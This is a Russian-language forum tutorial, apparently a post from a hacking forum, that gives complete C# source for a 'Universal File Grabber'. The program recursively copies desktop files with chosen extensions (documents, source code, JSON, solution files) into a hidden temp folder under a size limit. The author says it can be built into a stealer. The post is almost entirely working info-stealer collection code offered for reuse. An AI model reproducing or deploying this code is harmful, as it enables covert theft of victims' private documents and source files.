Сегодня напишем граббер файлов с рабочего стола с подпапками и.т.д.
Переделывайте под себя как угодно, если есть что подправить пишите может сделаю.
Итак поехали..
Сначала создадим консольный проект..
Создадим класс GlobalPath.cs из которого будем брать наши пути от куда граббить и.т.д
Класс для сбора файлов GetFiles.cs - тут вся логика.
Теперь свойства и интерфейс классы:
В классе Program.cs запишем вызов граббера
Вот и всё граббер файлов готов. Можно запихнуть в стиллер и.т.п =)
r3xq1/Universal-File-Grabber
Переделывайте под себя как угодно, если есть что подправить пишите может сделаю.
Итак поехали..
Сначала создадим консольный проект..
Создадим класс GlobalPath.cs из которого будем брать наши пути от куда граббить и.т.д
Код:
using System;
using System.IO;
public class GlobalPath
{
public static readonly string DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
public static readonly string DefaultTemp = string.Concat(Environment.GetEnvironmentVariable("temp"), '\\');
public static readonly string User_Name = string.Concat(DefaultTemp, Environment.UserName);
public static readonly string GrabberDir = Path.Combine(User_Name, "All_Files");
}
Класс для сбора файлов GetFiles.cs - тут вся логика.
Код:
using System;
using System.Collections.Generic;
using System.IO;
public partial class GetFiles
{
// Список расширений для сбора
public static string[] Extensions = new string[]
{
".txt", ".doc", ".cs", ".Dll", ".Html", ".Htm", ".Xml",".Php", ".json", ".suo", ".sln"
};
public static void Inizialize()
{
if (!Directory.Exists(GlobalPath.GrabberDir))
{
try
{
Directory.CreateDirectory(GlobalPath.GrabberDir);
}
catch { }
Inizialize();
}
else
{
// 5500000 - 5 MB | 10500000 - 10 MB | 21000000 - 20 MB | 63000000 - 60 MB
CopyDirectory(GlobalPath.DesktopPath, GlobalPath.GrabberDir, "*.*", 63000000);
// CopyDirectory("[From]"], "[To]", "*.*", "[Limit]");
}
}
private static long GetDirSize(string path, long size = 0)
{
try
{
foreach (string file in Directory.EnumerateFiles(path))
{
try
{
size += new FileInfo(file).Length;
}
catch { }
}
foreach (string dir in Directory.EnumerateDirectories(path))
{
try
{
size += GetDirSize(dir);
}
catch { }
}
}
catch { }
return size;
}
public static void CopyDirectory(string source, string target, string pattern, long maxSize)
{
var stack = new Stack<Folders>();
stack.Push(new Folders(source, target));
long size = GetDirSize(target);
while (stack.Count > 0)
{
Folders folders = stack.Pop();
try
{
Directory.CreateDirectory(folders.Target);
foreach (string file in Directory.EnumerateFiles(folders.Source, pattern))
{
try
{
if (Array.IndexOf(Extensions, Path.GetExtension(file).ToLower()) < 0)
{
continue;
}
string targetPath = Path.Combine(folders.Target, Path.GetFileName(file));
if (new FileInfo(file).Length / 0x400 < 0x1388) // 1024 < 5000
{
File.Copy(file, targetPath);
size += new FileInfo(targetPath).Length;
if (size > maxSize)
{
return;
}
}
}
catch { }
}
}
catch (UnauthorizedAccessException) { continue; }
catch (PathTooLongException) { continue; }
try
{
foreach (string folder in Directory.EnumerateDirectories(folders.Source))
{
try
{
// по умолчанию на рабочем столе есть папка с именем пользователя, в которой слишком много файлов ( это очень утомительный процесс) поэтому обойдём эту папку.
if (!folder.Contains(Path.Combine(GlobalPath.DesktopPath, Environment.UserName)))
{
stack.Push(new Folders(folder, Path.Combine(folders.Target, Path.GetFileName(folder))));
}
}
catch { }
}
}
catch (UnauthorizedAccessException) { continue; }
catch (DirectoryNotFoundException) { continue; }
catch (PathTooLongException) { continue; }
// Исключения можете ловить на свой вкус, лично я предпочитаю продолжить сбор в случае получения каких-либо исключений.
}
stack.Clear();
}
}
Теперь свойства и интерфейс классы:
Код:
public partial class GetFiles
{
public class Folders : IFolders
{
public string Source { get; private set; }
public string Target { get; private set; }
public Folders(string source, string target)
{
this.Source = source;
this.Target = target;
}
}
}
public interface IFolders
{
string Source { get; }
string Target { get; }
}
В классе Program.cs запишем вызов граббера
Код:
namespace FileGrabber
{
using System;
using System.Diagnostics;
using System.Threading.Tasks;
internal static class Program
{
// Universal File Grabber
// Author: Antlion
// https://github.com/r3xq1
private static readonly Stopwatch sw = Stopwatch.StartNew(); // Для подсчёта времени выполнения метода GetFiles.Inizialize();
private static void Main()
{
Console.Title = "Universal File Grabber";
Task.Factory.StartNew(() => { GetFiles.Inizialize(); }).Wait();
sw.Stop();
Console.WriteLine("Копирование завершено!");
Console.WriteLine($"Затраченное время: {sw.Elapsed.TotalMilliseconds} мс");
//File.AppendAllText("FastTime.txt", $"Затраченное время: {sw.Elapsed.TotalMilliseconds} мс");
Console.ReadKey();
}
}
}
r3xq1/Universal-File-Grabber